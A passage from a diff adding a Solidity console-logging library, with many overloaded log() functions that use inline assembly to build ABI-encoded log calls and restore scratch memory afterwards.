+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,uint256)`.
+            mstore(0x00, 0x7be0c3eb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(bool,string,string,string)`.
+            mstore(0x00, 0x1762e32a)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,address)`.
+            mstore(0x00, 0x2488b414)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,bool)`.
+            mstore(0x00, 0x091ffaf5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,uint256)`.
+            mstore(0x00, 0x736efbb6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,address,string)`.
+            mstore(0x00, 0x031c6f73)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,address)`.
+            mstore(0x00, 0xef72c513)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,bool)`.
+            mstore(0x00, 0xe351140f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,uint256)`.
+            mstore(0x00, 0x5abd992a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,bool,string)`.
+            mstore(0x00, 0x90fb06aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,address)`.
+            mstore(0x00, 0x15c127b5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,bool)`.
+            mstore(0x00, 0x5f743a7c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,uint256)`.
+            mstore(0x00, 0x0c9cd9c1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,uint256,string)`.
+            mstore(0x00, 0xddb06521)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,address)`.
+            mstore(0x00, 0x9cba8fff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,bool)`.
+            mstore(0x00, 0xcc32ab07)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,uint256)`.
+            mstore(0x00, 0x46826b5d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,address,string,string)`.
+            mstore(0x00, 0x3e128ca3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,address)`.
+            mstore(0x00, 0xa1ef4cbb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,bool)`.
+            mstore(0x00, 0x454d54a5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,uint256)`.
+            mstore(0x00, 0x078287f5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,address,string)`.
+            mstore(0x00, 0xade052c7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,address)`.
+            mstore(0x00, 0x69640b59)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,bool)`.
+            mstore(0x00, 0xb6f577a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,uint256)`.
+            mstore(0x00, 0x7464ce23)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,bool,string)`.
+            mstore(0x00, 0xdddb9561)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,uint256,address)`.
+            mstore(0x00, 0x88cb6041)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,uint256,bool)`.
+            mstore(0x00, 0x91a02e2a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,uint256,uint256)`.
+            mstore(0x00, 0xc6acc7a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,uint256,string)`.
+            mstore(0x00, 0xde03e774)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
